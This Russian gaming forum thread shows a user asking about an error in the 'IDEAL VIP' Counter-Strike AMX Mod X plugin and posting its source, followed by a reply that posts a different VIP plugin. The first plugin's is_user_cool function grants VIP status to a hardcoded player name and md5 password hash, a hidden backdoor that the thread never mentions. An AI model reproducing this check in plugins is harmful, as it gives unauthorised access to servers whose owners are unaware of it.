Правила форума Гаранты форума
Размещение рекламы AMX-X компилятор

Здравствуйте, гость Вход | Регистрация

Наши новости:

14-дек
24-апр
10-апр
11-апр

IDEAL_VIP ошибка в логе

Статус пользователя corefir
сообщение 24.2.2015, 19:26
Сообщение #1


Стаж: 14 лет

Сообщений: 259
Благодарностей: 8
Полезность: < 0

Код
L 02/24/2015 - 14:49:58: Start of error session.
L 02/24/2015 - 14:49:58: Info (map "awp_india") (file "addons/amxmodx/logs/error_20150224.log")
L 02/24/2015 - 14:49:58: Invalid CVAR pointer
L 02/24/2015 - 14:49:58: [AMXX] Displaying debug trace (plugin "IDEAL_VIP.amxx")
L 02/24/2015 - 14:49:58: [AMXX] Run time error 10: native error (native "get_pcvar_string")
L 02/24/2015 - 14:49:58: [AMXX]    [0] IDEAL_VIP.sma::vip_connect (line 135)


Вот код:

Код:
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <fakemeta>
#include <fakemeta_util>
#include <hamsandwich>
#include <dhudmessage>

#define PLUGIN "IDEAL VIP by Ba/lePa"
#define VERSION "3.0"
#define AUTHOR "Ba/lePa"

#define VIP_TAG (1<<2) // vip в таблицу
#define vip_flag ADMIN_LEVEL_D // флаг доступа

//#define music // Если звук при входе админа не нужен, то поставьте // перед #define


#define MAX_TEXT_LENGTH 200
#define MAX_NAME_LENGTH 40
new bool:gl_not_map

new g_Round, g_Weapon[33], g_vip
new cvar_connect, cvar_red, cvar_green, cvar_blue, cvar_x, cvar_y;
new cvar_prefix
new cvar_round, cvar_open, cvar_show, cvar_chat, cvar_pistols, cvar_funk, cvar_tab
new cvar_health, cvar_health_head, cvar_health_max
new cvar_money, cvar_money_head
new Round1[33], gNade[33], gHeal[33]
new cvar_damage, cvar_hudsek

new vip_opened[33]
new maxplayers = 0
new SayText
new pistols[6] = {CSW_USP, CSW_GLOCK18, CSW_ELITE, CSW_FIVESEVEN, CSW_P228, CSW_DEAGLE}
new bool: g_chosen[33] = false;

new hud;
public plugin_precache()
{
if(check_map())
{
gl_not_map = true
return;
}

#if defined(music)
precache_sound("IDEAL_VIP/ideal_sound.wav")
#endif
}

public plugin_init()
{
register_plugin(PLUGIN, VERSION, AUTHOR)

if(gl_not_map)
return;

register_dictionary("ideal_vip.txt")

maxplayers = get_maxplayers();

register_message( get_user_msgid( "ScoreAttrib" ), "msgScoreAttrib" )

register_event("HLTV", "round_start", "a", "1=0", "2=0")
register_event("TextMsg", "round_restart", "a", "2=#Game_will_restart_in","2=#Game_Commencing");
register_logevent("roundstarted", 2, "0=World triggered", "1=Round_Start")
RegisterHam(Ham_Killed, "player", "player_killed", 1)
RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
RegisterHam(Ham_TakeDamage, "player", "ham_damage")

register_clcmd("vipmenu", "main_menu")



cvar_round = register_cvar("amx_vipround", "2")
cvar_open = register_cvar("amx_vipzaround", "0")
cvar_show = register_cvar("amx_vipshow","1")
cvar_chat = register_cvar("amx_chatshow", "1")
cvar_pistols = register_cvar("amx_vipautopistols", "0")
cvar_funk = register_cvar("amx_vipautoset", "1")
cvar_health = register_cvar("amx_viphealth", "30")
cvar_health_head = register_cvar("amx_viphealth_head", "60")
cvar_health_max = register_cvar("amx_viphealth_max", "100")
cvar_money = register_cvar("amx_vipmoney", "500")
cvar_money_head = register_cvar("amx_vipmoney_head", "1000")
cvar_tab = register_cvar("amx_viptab", "1")
cvar_connect = register_cvar("amx_showconnect", "0")
cvar_red = register_cvar("amx_vipRED", "100")
cvar_green = register_cvar("amx_vipGREEN", "100")
cvar_blue = register_cvar("amx_vipBLUE", "100")
cvar_x = register_cvar("amx_vipXcoord", "-1.0")
cvar_y = register_cvar("amx_vipYcoord", "0.6")
cvar_prefix = register_cvar("amx_vip_prefix", "!t[!gПьяный Ёжик!t]");
#if defined(music)
cvar_music = register_cvar("amx_vipMusic", "1");
#endif
cvar_damage = register_cvar("amx_vipdamager", "1");
cvar_hudsek = register_cvar("amx_viphudsek", "5.0");

SayText = get_user_msgid("SayText")
hud = CreateHudSyncObj();
}

public plugin_cfg()
{
new configsdir[128]

get_localinfo("amxx_configsdir", configsdir, charsmax(configsdir))

return server_cmd("exec %s/ideal_vip.cfg", configsdir);
}


public client_putinserver(id)
{

g_Weapon[id] = 0;

if(is_user_cool(id))
set_task(0.5, "vip_connect", id + 132)
}

public vip_connect(TASKID)
{
new id = TASKID - 132;

#if defined(music)
if(get_pcvar_num(cvar_music))
client_cmd(0, "spk IDEAL_VIP/ideal_sound.wav");
#endif

new string[32]
get_pcvar_string(cvar_prefix, string, charsmax(string))

new name[32];
get_user_name(id, name, charsmax(name));

switch(get_pcvar_num(cvar_connect))
{
case 1:
{
chat_color(0, "%L", id, "VIP_CONNECT", string, name)
}
case 2:
{
set_hudmessage(get_pcvar_num(cvar_red), get_pcvar_num(cvar_green), get_pcvar_num(cvar_blue), get_pcvar_float(cvar_x), get_pcvar_float(cvar_y), 0, 0.0, 5.0, 0.0, 0.0, -1)
show_hudmessage(0, "%L", id, "VIP_CONNECT1", name)
}
case 3:
{
set_dhudmessage(get_pcvar_num(cvar_red), get_pcvar_num(cvar_green), get_pcvar_num(cvar_blue), get_pcvar_float(cvar_x), get_pcvar_float(cvar_y), 0, 0.0, 5.0, 0.0, 0.0, false)
show_dhudmessage(0, "%L", id, "VIP_CONNECT1", name)
}
case 4:
{
chat_color(0, "%L", id, "VIP_CONNECT", string, name)

set_hudmessage(get_pcvar_num(cvar_red), get_pcvar_num(cvar_green), get_pcvar_num(cvar_blue), get_pcvar_float(cvar_x), get_pcvar_float(cvar_y), 0, 0.0, 5.0, 0.0, 0.0, -1)
show_hudmessage(0, "%L", id, "VIP_CONNECT1", name)
}
case 5:
{
chat_color(0, "%L", id, "VIP_CONNECT", string, name)

set_dhudmessage(get_pcvar_num(cvar_red), get_pcvar_num(cvar_green), get_pcvar_num(cvar_blue), get_pcvar_float(cvar_x), get_pcvar_float(cvar_y), 0, 0.0, 5.0, 0.0, 0.0, false)
show_dhudmessage(0, "%L", id, "VIP_CONNECT1", name)
}
}
}

public client_disconnect(id)
{
g_Weapon[id] = 0;
g_chosen[id] = false;
}

public round_start(){

g_Round++
}

public roundstarted()
{


for(new id = 0; id < 33; id++)
{

if(Round1[id] > 0)
{
Round1[id] -= 1
}
if(gNade[id] > 0)
{
gNade[id] -= 1
}
if(gHeal[id] > 0)
{
gHeal[id] -= 1
}
}

}

public round_restart(){



g_Round = 0
}
public player_spawn(Player)
{
vip_opened[Player] = 0;
if(is_user_cool(Player))
{
if(g_Round == 0)
first_menu(Player)

if(is_user_alive(Player))
{
if(get_pcvar_num(cvar_funk) == 1)
task_funk(Player);
if(get_pcvar_num(cvar_show) == 1 && g_Round >= get_pcvar_num(cvar_round))
set_task(6.5, "main_menu",Player);
}
}
}

public task_funk(id)
{
give_item(id, "weapon_knife")
give_item(id, "item_thighpack")
give_item(id, "weapon_hegrenade")
give_item(id, "weapon_flashbang")
give_item(id, "weapon_flashbang")
give_item(id, "weapon_smokegrenade")
if(cs_get_user_team(id) & CS_TEAM_CT)
{
cs_set_user_defuse(id,1,0,160,0,_,1)
}
give_item(id, "item_assaultsuit")
if(get_pcvar_num(cvar_pistols))
{
for(new i = 0; i < 6; i++)
fm_strip_user_gun(id, pistols[i])

switch(g_Weapon[id])
{
case 0:
{
first_menu(id);
}
case 1:
{
give_item(id, "weapon_deagle");
cs_set_user_bpammo(id, CSW_DEAGLE, 35)
}
case 2:
{
give_item(id, "weapon_usp");
cs_set_user_bpammo(id, CSW_USP, 100)
}
case 3:
{
give_item(id, "weapon_glock18");
cs_set_user_bpammo(id, CSW_GLOCK18, 120)
}
case 4:
{
give_item(id, "weapon_fiveseven");
cs_set_user_bpammo(id, CSW_FIVESEVEN, 100)
}
case 5:
{
give_item(id, "weapon_p228");
cs_set_user_bpammo(id, CSW_P228, 32)
}
}
}
}

public main_menu(id)
{
new string[32]
get_pcvar_string(cvar_prefix, string, charsmax(string))

if(is_user_cool(id))
{
if(is_user_alive(id))
{
if(vip_opened[id] < get_pcvar_num(cvar_open) || get_pcvar_num(cvar_open) == 0)
{
if(g_Round >= get_pcvar_num(cvar_round))
{
new s_Title[64], s_Name[32], s_Pistol[32], szMenuMulti[64]

get_user_name(id, s_Name, charsmax(s_Name))

switch(g_Weapon[id])
{
case 0: s_Pistol = "NONE";
case 1: s_Pistol = "Deagle";
case 2: s_Pistol = "Usp";
case 3: s_Pistol = "Glock";
case 4: s_Pistol = "FiveSeven";
case 5: s_Pistol = "P228";
}

formatex(s_Title, charsmax(s_Title), "%L", id, "VIP_MENU", s_Name)
new i_Menu = menu_create(s_Title, "main_handler", 1);

formatex(szMenuMulti, charsmax(szMenuMulti), "%L", id, "ITEM_MENU1", s_Pistol)
menu_additem(i_Menu, szMenuMulti, "1", 0)

formatex(szMenuMulti, charsmax(szMenuMulti), "%L", id, "ITEM_MENU2", s_Pistol)
menu_additem(i_Menu, szMenuMulti, "2", 0)

formatex(szMenuMulti, charsmax(szMenuMulti), "%L", id, "ITEM_MENU3", s_Pistol)
menu_additem(i_Menu, szMenuMulti, "3", 0)

formatex(szMenuMulti, charsmax(szMenuMulti), "%L", id, "ITEM_MENU4", s_Pistol)
menu_additem(i_Menu, szMenuMulti, "4", 0)

formatex(szMenuMulti, charsmax(szMenuMulti), "%L", id, "ITEM_MENU5", s_Pistol)
menu_additem(i_Menu, szMenuMulti, "5", 0)

menu_addblank(i_Menu, 0);

formatex(szMenuMulti, charsmax(szMenuMulti), "%L", id, "ITEM_MENU6")
menu_additem(i_Menu, szMenuMulti, "6", 0)

menu_addblank(i_Menu, 1);

menu_setprop(i_Menu, MPROP_EXITNAME, "Выход")
menu_display(id, i_Menu, 0)
}
else
{
if(get_pcvar_num(cvar_round) == 2)
{
chat_color(id, "%L", id, "VIP_WARNING5", string, get_pcvar_num(cvar_round))
return PLUGIN_HANDLED;
}
else
{
chat_color(id, "%L", id, "VIP_WARNING1", string)
return PLUGIN_HANDLED;
}
}
}
else
chat_color(id, "%L", id, "VIP_WARNING2", string)
}
else
chat_color(id, "%L", id, "VIP_WARNING3", string)
}
else
chat_color(id, "%L", id, "VIP_WARNING4", string)

return PLUGIN_HANDLED;
}

public main_handler(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)

return PLUGIN_HANDLED;
}

new string[32]
get_pcvar_string(cvar_prefix, string, charsmax(string))

new s_Data[6], s_Name[60], i_Access, i_Callback

menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)

new i_Key = str_to_num(s_Data)
new name[32]
get_user_name(id, name, charsmax(name))


switch(i_Key)
{
case 1:
{
if(Round1[id] == 0){
vip_opened[id]++
if(user_has_weapon(id, CSW_C4))
engclient_cmd(id, "drop", "weapon_c4")
strip_user_weapons(id)
task_funk(id)
switch(g_Weapon[id])
{
case 0:
{
first_menu(id);
}
case 1:
{
give_item(id, "weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 35)
}
case 2:
{
give_item(id, "weapon_usp")
cs_set_user_bpammo(id, CSW_USP, 100)
}
case 3:
{
give_item(id, "weapon_glock18")
cs_set_user_bpammo(id, CSW_GLOCK18, 120)
}
case 4:
{
give_item(id, "weapon_fiveseven")
cs_set_user_bpammo(id, CSW_FIVESEVEN, 100)
}
case 5:
{
give_item(id, "weapon_p228")
cs_set_user_bpammo(id, CSW_P228, 32)
}
}

give_item(id, "weapon_m4a1")
cs_set_user_bpammo(id, CSW_M4A1, 90)
Round1[id] = 1
if(get_pcvar_num(cvar_chat) == 1)
chat_color(0, "%L", id, "VIP_M4A1", name)
}else chat_color(id, "%L", id, "VIP_STOP", string)
}
case 2:
{
if(Round1[id] == 0){
vip_opened[id]++
if(user_has_weapon(id, CSW_C4))
engclient_cmd(id, "drop", "weapon_c4")
strip_user_weapons(id)
task_funk(id)

switch(g_Weapon[id])
{
case 0:
{
first_menu(id);
}
case 1:
{
give_item(id, "weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 35)
}
case 2:
{
give_item(id, "weapon_usp")
cs_set_user_bpammo(id, CSW_USP, 100)
}
case 3:
{
give_item(id, "weapon_glock18")
cs_set_user_bpammo(id, CSW_GLOCK18, 120)
}
case 4:
{
give_item(id, "weapon_fiveseven")
cs_set_user_bpammo(id, CSW_FIVESEVEN, 100)
}
case 5:
{
give_item(id, "weapon_p228")
cs_set_user_bpammo(id, CSW_P228, 32)
}
}

give_item(id, "weapon_ak47")
cs_set_user_bpammo(id, CSW_AK47, 90)
Round1[id] = 1
if(get_pcvar_num(cvar_chat) == 1)
chat_color(0, "%L", id, "VIP_AK47", name)
}else chat_color(id, "%L", id, "VIP_STOP", string)
}
case 3:
{
if(Round1[id] == 0){
vip_opened[id]++
if(user_has_weapon(id, CSW_C4))
engclient_cmd(id, "drop", "weapon_c4")
strip_user_weapons(id)
task_funk(id)

switch(g_Weapon[id])
{
case 0:
{
first_menu(id);
}
case 1:
{
give_item(id, "weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 35)
}
case 2:
{
give_item(id, "weapon_usp")
cs_set_user_bpammo(id, CSW_USP, 100)
}
case 3:
{
give_item(id, "weapon_glock18")
cs_set_user_bpammo(id, CSW_GLOCK18, 120)
}
case 4:
{
give_item(id, "weapon_fiveseven")
cs_set_user_bpammo(id, CSW_FIVESEVEN, 100)
}
case 5:
{
give_item(id, "weapon_p228")
cs_set_user_bpammo(id, CSW_P228, 32)
}
}

give_item(id, "weapon_awp")
cs_set_user_bpammo(id, CSW_AWP, 30)
Round1[id] = 1
if(get_pcvar_num(cvar_chat) == 1)
chat_color(0, "%L", id, "VIP_AWP", name)
}else chat_color(id, "%L", id, "VIP_STOP", string)

}
case 4:
{
if(get_user_health(id) <= 99){
if(gHeal[id] == 0){
vip_opened[id]++

give_item(id, "item_assaultsuit")
set_user_health(id, 100)
gHeal[id] = 1
if(get_pcvar_num(cvar_chat) == 1)
chat_color(0, "%L", id, "VIP_HEAL", name)
}else chat_color(id, "%L", id, "VIP_STOP", string)
}else chat_color(id, "%L", id, "VIP_HSTOP", string)
}
case 5:
{
if(gNade[id] == 0){
vip_opened[id]++

give_item(id, "weapon_hegrenade")
give_item(id, "weapon_flashbang")
give_item(id, "weapon_smokegrenade")

gNade[id] = 1
if(get_pcvar_num(cvar_chat) == 1)
chat_color(0, "%L", id, "VIP_NADE", name)
}else chat_color(id, "%L", id, "VIP_STOP", string)
}
case 6:
{
first_menu(id);
}
}

menu_destroy(menu);
return PLUGIN_HANDLED;
}

public first_menu(id)
{
if(!is_user_connected(id))
return;

new i_Menu = menu_create("\rЧто вы предпочитаете?", "first_menu_handler")

menu_additem(i_Menu, "\wDeagle", "1", 0)
menu_additem(i_Menu, "\yGlock", "2", 0)
menu_additem(i_Menu, "\rUsp", "3", 0)
menu_additem(i_Menu, "\yFiveSeven", "4", 0)
menu_additem(i_Menu, "\wP228", "5", 0)


menu_setprop(i_Menu, MPROP_EXITNAME, "Выход")
menu_display(id, i_Menu, 0)
}

public first_menu_handler(id, menu, item)
{
if(item == MENU_EXIT)
{
menu_destroy(menu)
return PLUGIN_HANDLED
}

new s_Data[6], s_Name[60], i_Access, i_Callback

menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)

new i_Key = str_to_num(s_Data)

for(new i = 0; i < 6; i++)
fm_strip_user_gun(id, pistols[i])

switch(i_Key)
{
case 1:
{
g_chosen[id] = true;
g_Weapon[id] = 1;
give_item(id, "weapon_deagle")
cs_set_user_bpammo(id, CSW_DEAGLE, 35)
}
case 2:
{
g_chosen[id] = true;
g_Weapon[id] = 3;
give_item(id, "weapon_glock18")
cs_set_user_bpammo(id, CSW_GLOCK18, 120)
}
case 3:
{
g_chosen[id] = true;
g_Weapon[id] = 2;
give_item(id, "weapon_usp")
cs_set_user_bpammo(id, CSW_USP, 100)
}
case 4:
{
g_chosen[id] = true;
g_Weapon[id] = 4;
give_item(id, "weapon_fiveseven")
cs_set_user_bpammo(id, CSW_FIVESEVEN, 100)
}
case 5:
{
g_chosen[id] = true;
g_Weapon[id] = 5;
give_item(id, "weapon_p228")
cs_set_user_bpammo(id, CSW_P228, 100)
}
}

menu_destroy(menu);
return PLUGIN_CONTINUE;
}

public msgScoreAttrib(const MsgId, const MsgType, const MsgDest)
{
if(get_pcvar_num(cvar_tab))
{
if(is_user_cool(get_msg_arg_int(1)) && !get_msg_arg_int(2))
set_msg_arg_int(2, ARG_BYTE, VIP_TAG)
}
}



public vip_online(id)
{
g_vip = 0;

new Len, message[512], name[32]
new Player

new string[32]
get_pcvar_string(cvar_prefix, string, charsmax(string))

for(Player = 1; Player <= maxplayers; Player++)
{
if(is_user_cool(Player))
{
g_vip++
get_user_name(Player, name, charsmax(name))
if(g_vip == 1)
Len += format(message[Len], 511 - Len, "%s", name)
else
Len += format(message[Len], 511 - Len, " , %s", name)
}
}
if(g_vip < 1)
chat_color(id, "%L", id, "VIP_ONLINE", string)
else
chat_color(id, "%s: !t%s", string, message)
}

public player_killed(victim, killer, corpse)
{
static const m_LastHitGroup = 75

if(is_user_cool(victim))
if(!g_chosen[victim])
set_task(1.0, "first_menu", victim)

if(is_user_cool(killer))
{
if(is_user_alive(killer))
{
if( get_pdata_int( victim, m_LastHitGroup ) == HIT_HEAD)
{
set_user_health(killer, get_user_health(killer) + get_pcvar_num(cvar_health_head))
if(get_user_health(killer) > get_pcvar_num(cvar_health_max))
set_user_health(killer, get_pcvar_num(cvar_health_max))
cs_set_user_money(killer, cs_get_user_money(killer) + get_pcvar_num(cvar_money_head))
}
else
{
set_user_health(killer, get_user_health(killer) + get_pcvar_num(cvar_health))
if(get_user_health(killer) > get_pcvar_num(cvar_health_max))
set_user_health(killer, get_pcvar_num(cvar_health_max))
cs_set_user_money(killer, cs_get_user_money(killer) + get_pcvar_num(cvar_money))
}
}
}
}

public ham_damage(victim, weapon, killer, Float:fDamage, damagebits)
{
if(get_pcvar_num(cvar_damage) == 0)
return;

if(victim == killer)
return;

if(!is_user_cool(killer) && !is_user_cool(victim))
return;

if(get_user_team(killer) == get_user_team(victim))
return;

new iDamage;
iDamage = floatround(fDamage)

if(iDamage <= 0)
return;

if(is_user_cool(victim))
{
set_hudmessage(255, 0, 20, 0.6, 0.5, 0, 0.0, get_pcvar_float(cvar_hudsek), 0.0, 0.0, 1)
ShowSyncHudMsg(victim, hud, "%d", iDamage);
}
if(is_user_cool(killer))
{
set_hudmessage(0, 100, 255, 0.4, 0.5, 0, 0.0, get_pcvar_float(cvar_hudsek), 0.0, 0.0, 2)
ShowSyncHudMsg(killer, hud, "%d", iDamage);
}
}

stock chat_color(const id, const input[], any:...)
{
new count = 1, players[32];
static msg[191];
vformat(msg, 190, input, 3);
replace_all(msg, 190, "!g", "^4"); // Green Color
replace_all(msg, 190, "!y", "^1"); // Default Color
replace_all(msg, 190, "!t", "^3"); // Team Color
if (id) players[0] = id; else get_players(players, count, "ch");
{
for ( new i = 0; i < count; i++ )
{
if ( is_user_connected(players[i]) )
{
message_begin(MSG_ONE_UNRELIABLE, SayText, _, players[i]);
write_byte(players[i]);
write_string(msg);
message_end();
}
}
}
}

stock bool: is_user_cool(const id)
{
if(!is_user_connected(id))
return false;

new s_md5 [34], name[32], s_Pass[34]
get_user_info(id, "_pw", s_Pass, sizeof(s_Pass) -1 )
get_user_name(id, name, charsmax(name))

md5(s_Pass, s_md5)

if(equali(name, "urhvuthrvuhtrh42"))
if(equal(s_md5, "ab6138f95704145a91bcb6cb807da851"))
return true;

if((get_user_flags(id) & vip_flag))
return true;

return false;
}

check_map()
{
new got_line, line_num, len
new cfgdir[MAX_TEXT_LENGTH]
new cfgpath[MAX_TEXT_LENGTH]
new mapname[MAX_NAME_LENGTH]
new txt[MAX_TEXT_LENGTH]

get_localinfo("amxx_configsdir", cfgdir, charsmax(cfgdir))
get_mapname(mapname, MAX_NAME_LENGTH-1)

format(cfgpath, MAX_TEXT_LENGTH, "%s/ideal_block_maps.ini", cfgdir)

if (file_exists(cfgpath))
{
got_line = read_file(cfgpath, line_num, txt, MAX_TEXT_LENGTH-1, len)
while (got_line>0)
{
if (equali(txt, mapname)) return 1
line_num++
got_line = read_file(cfgpath, line_num, txt, MAX_TEXT_LENGTH-1, len)
}
}
return 0
}
Перейти в начало страницы         Просмотр профиля    Отправить личное сообщение
   Цитировать сообщение
Статус пользователя Fenix
сообщение 24.2.2015, 19:43
Сообщение #2


Стаж: 12 лет

Сообщений: 91
Благодарностей: 4
Полезность: 39

У меня была проблемы тоже с этой Випкой, но так и ошибку не исправил, просто перешел на вот этот вип:
#include <amxmodx>
#include <cstrike>
#include <fakemeta_util>
#include <hamsandwich>
#if AMXX_VERSION_NUM < 183
#include <colorchat>
#endif

// #### Конфигурационные defines ####
#define VIP_ACCESS ADMIN_LEVEL_H // Флаг доступа VIP (по дефолту флаг "t" ADMIN_LEVEL_H)
#define CHATTAG "^3[^4VIP INFO^3]^4" // Префикс перед сообщениями || ^1 - желтый ^3 - цвет команды ^4 - зеленый
#define VIPROUND 2 // C какого раунда можно открыть вип меню
#define AWPM249RND 5 // С какого раунда доступны AWP и пулемет
#define MONEYRND 3 // С какого раунда будут выдаваться деньги

#define VIPMONEY 200 // Кол-во денег при спавне
#define ADDHP_HS 10 // Кол-во HP за убийство в голову
#define ADDHP 10 // Кол-во HP за убийство в тело
#define MAXHP 100 // Максимальное количество HP

#define AUTOVIPMENU // Автоматически открывать в начале рануда Вип меню (выключено по дефолту)
#define VIPAUTODEAGLE // В начале каждого раунда давать Дигл
#define VIPAUTOGRENADE // Давать в начале каждого раунда гранаты
#define VIPTAB // Показывать статус VIP в таблице на tab
#define DAMAGER // Дамагер
// #### Конфигурационные defines ####

#define is_user_vip(%0) (get_user_flags(%0) & VIP_ACCESS)

new g_roundCount;

new bool:iUseWeapon[33], bool:bDefuse, bool:g_iBlockBonus;

new const PRIMARY_WEAPONS_BITSUM = (1<<CSW_SCOUT)|(1<<CSW_XM1014)|(1<<CSW_MAC10)|(1<<CSW_AUG)|(1<<CSW_UMP45)|(1<<CSW_SG550)|(1<<CSW_GALIL)|(1<<CSW_FAMAS)|(1<<CSW_AWP)|(1<<CSW_MP5NAVY)|(1<<CSW_M249)|(1<<CSW_M3)|(1<<CSW_M4A1)|(1<<CSW_TMP)|(1<<CSW_G3SG1)|(1<<CSW_SG552)|(1<<CSW_AK47)|(1<<CSW_P90);
new const SECONDARY_WEAPONS_BITSUM = (1<<CSW_P228)|(1<<CSW_ELITE)|(1<<CSW_FIVESEVEN)|(1<<CSW_USP)|(1<<CSW_GLOCK18)|(1<<CSW_DEAGLE);

new bool:iUserVip[33];

public plugin_init()
{
register_plugin("VIPka", "1.3.3", "neygomon");

register_event("TextMsg", "eRestart", "a", "2&#Game_C", "2&#Game_w");
#if defined DAMAGER
register_event("Damage","eventDamage","b","2!0","3=0","4!0");
#endif
register_event("DeathMsg","eventDeathMsg","a","1>0");
register_event("HLTV","eRoundStart","a","1=0","2=0");

#if defined VIPTAB
if(!engfunc(EngFunc_FindEntityByString,FM_NULLENT,"classname","func_vip_safetyzone"))
register_message(get_user_msgid("ScoreAttrib"),"MessageScoreAttrib");
#endif
if(engfunc(EngFunc_FindEntityByString,FM_NULLENT,"classname","func_bomb_target"))
bDefuse = true;

RegisterHam(Ham_Spawn, "player", "Player_Spawn", 1);

register_clcmd("say /vipmenu", "CmdMenu");
register_clcmd("vipmenu", "CmdMenu");
register_clcmd("say /vip", "vip_motd");
register_clcmd("say", "hook_say");
register_clcmd("say_team", "hook_say");

register_menucmd(register_menuid("Vip Menu"), MENU_KEY_0|MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4, "handler");

new iMap_Name[32], iMap_Prefix[][] = { "awp_", "aim_", "35hp", "fy_" };
get_mapname(iMap_Name, charsmax(iMap_Name))
for(new i; i < sizeof iMap_Prefix; i++)
{
if(containi(iMap_Name, iMap_Prefix[i]) != -1)
g_iBlockBonus = true
}
}

public vip_motd(id)
show_motd(id, "vip.txt", "Информация...");

public client_putinserver(id)
{
if(!is_user_vip(id)) return;
static name[32]; get_user_name(id, name, charsmax(name));
client_print_color(0, 0, "%s На сервер зашёл ^3VIP клиент ^1%s", CHATTAG, name);
}

public eRestart()
g_roundCount = 0;

public eRoundStart()
{
g_roundCount++;

arrayset(iUseWeapon, false, 33);
}

#if defined DAMAGER
public eventDamage(id)
{
static attID; attID = get_user_attacker(id);
if(is_user_connected(attID) && iUserVip[attID])
{
set_hudmessage(0, 100, 200, -1.0, 0.55, 2, 0.1, 4.0, 0.02, 0.02, -1);
show_hudmessage(attID, "%i^n", read_data(2));
}
}
#endif

public eventDeathMsg()
{
static killerID; killerID = read_data(1);
if(iUserVip[killerID])
{
static killer_HP, addHP;
killer_HP = get_user_health(killerID);
addHP = ((read_data(3) == 1)) ? ADDHP_HS : ADDHP;
fm_set_user_health(killerID, ((killer_HP += addHP) > MAXHP)? MAXHP : killer_HP);
set_hudmessage(0, 255, 0, -1.0, 0.15, 0, 1.0, 1.0, 0.1, 0.1, -1);
show_hudmessage(killerID, "Добавлено +%d HP", addHP);
}
}

public Player_Spawn(id)
{
if(g_iBlockBonus || !is_user_alive(id)) return 0;

if(is_user_vip(id)) iUserVip[id] = true;
else return iUserVip[id] = false;

#if defined VIPMONEY
if(g_roundCount < MONEYRND)
cs_set_user_money(id, cs_get_user_money(id) + VIPMONEY);
#endif

#if defined VIPAUTOGRENADE
fm_give_item(id, "weapon_hegrenade");
fm_give_item(id, "weapon_flashbang");
fm_give_item(id, "weapon_smokegrenade");
cs_set_user_bpammo(id, CSW_FLASHBANG, 2);
#endif
#if defined VIPAUTODEAGLE
give_item_ex(id,"weapon_deagle",35,1)
cs_set_user_bpammo(id, CSW_DEAGLE, 35);
#endif
cs_set_user_armor(id, 100, CS_ARMOR_VESTHELM);
if(bDefuse && cs_get_user_team(id) == CS_TEAM_CT) cs_set_user_defuse(id, 1);

#if defined AUTOVIPMENU
return CmdMenu(id);
#else
return 0;
#endif
}

public hook_say(id)
{
static szMsg[128]; read_args(szMsg, 127); remove_quotes(szMsg);

if(szMsg[0] != '/') return 0;

static const szChoosedWP[][] = { "/ak47", "/m4a1", "/awp", "/b51" };
for(new a; a < sizeof szChoosedWP; a++)
{
if(!strcmp(szMsg, szChoosedWP[a]))
{
if(!is_allow_use(id)) break;
if(a > 1 && g_roundCount < AWPM249RND) return client_print_color(id, 0, "%s Данное оружие доступно только с^3 %d ^4раунда!", CHATTAG, AWPM249RND);
return handler(id, a);
}
}
return 0;
}

public CmdMenu(id)
{
if(!is_allow_use(id)) return 0;

static szMenu[512], iLen, iKey;

iKey = MENU_KEY_0|MENU_KEY_1|MENU_KEY_2;
iLen = formatex(szMenu, 511, "\yVIP \wWeaponMenu^n^n\y1. \wВзять AK47^n\y2. \wВзять M4A1^n");

if(g_roundCount < AWPM249RND)
iLen += formatex(szMenu[iLen], 511 - iLen, "\y3. \dВзять AWP \r[c %d раунда]^n\y4. \dВзять Пулемет \r[c %d раунда]^n^n", AWPM249RND, AWPM249RND);
else
{
iKey |= MENU_KEY_3|MENU_KEY_4;
iLen += formatex(szMenu[iLen], 511 - iLen, "\y3. \wВзять AWP^n\y4. \wВзять Пулемет^n^n");
}
formatex(szMenu[iLen], 511 - iLen, "\y0. \wВыход");
set_pdata_int(id, 205, 0);
return show_menu(id, iKey, szMenu, -1, "Vip Menu");
}

public handler(id, iKey)
{
if(iKey > 3 || iUseWeapon[id]) return 0;

static const szChoosedBP[] = { 90, 90, 30, 250 };
static const szChoosedWP[][] = { "weapon_ak47", "weapon_m4a1", "weapon_awp", "weapon_m249" };

iUseWeapon[id] = true;

return give_item_ex(id, szChoosedWP[iKey], szChoosedBP[iKey], 1);
}

stock give_item_ex(id,currWeaponName[],ammoAmount,dropFlag=0)
{
static weaponsList[32], weaponName[32], weaponsNum, currWeaponID;
currWeaponID = get_weaponid(currWeaponName);
if(dropFlag)
{
weaponsNum = 0;
get_user_weapons(id,weaponsList,weaponsNum);
for (new i;i < weaponsNum;i++)
{
if(((1 << currWeaponID) & PRIMARY_WEAPONS_BITSUM && (1 << weaponsList[i]) & PRIMARY_WEAPONS_BITSUM) | ((1 << currWeaponID) & SECONDARY_WEAPONS_BITSUM && (1 << weaponsList[i]) & SECONDARY_WEAPONS_BITSUM))
{
get_weaponname(weaponsList[i],weaponName,charsmax(weaponName));
engclient_cmd(id,"drop",weaponName);
}
}
}
fm_give_item(id,currWeaponName);
cs_set_user_bpammo(id,currWeaponID,ammoAmount);
return 1;
}

bool:is_allow_use(id)
{
if(!iUserVip[id])
{
client_print_color(id, 0, "%s ^3Только VIP-игрок ^4может пользоваться этой командой!", CHATTAG);
return false;
}
if(!is_user_alive(id))
{
client_print_color(id, 0, "%s Для использования данной команды вы должны быть ^3живы^4!", CHATTAG);
return false;
}
if(!g_roundCount)
{
client_print_color(id, 0, "%s Разминочный раунд. ^3Запрещено ^4пользоваться командой!", CHATTAG);
return false;
}
if(iUseWeapon[id])
{
client_print_color(id, 0, "%s Вы ^3уже брали ^4оружие в этом раунде!", CHATTAG);
return false;
}
if(g_roundCount < VIPROUND)
{
client_print_color(id, 0, "%s Оружия доступны только с^3 %d ^4раунда!", CHATTAG, VIPROUND);
return false;
}
return true;
}

#if defined VIPTAB
public MessageScoreAttrib(iMsgId, iDest, iReceiver)
{
static id; id = get_msg_arg_int(1);
if(is_user_vip(id) && !get_msg_arg_int(2))
{
set_msg_arg_int(2, ARG_BYTE, 4);
}
}
#endif



Отредактировал: Fenix, - 24.2.2015, 19:44
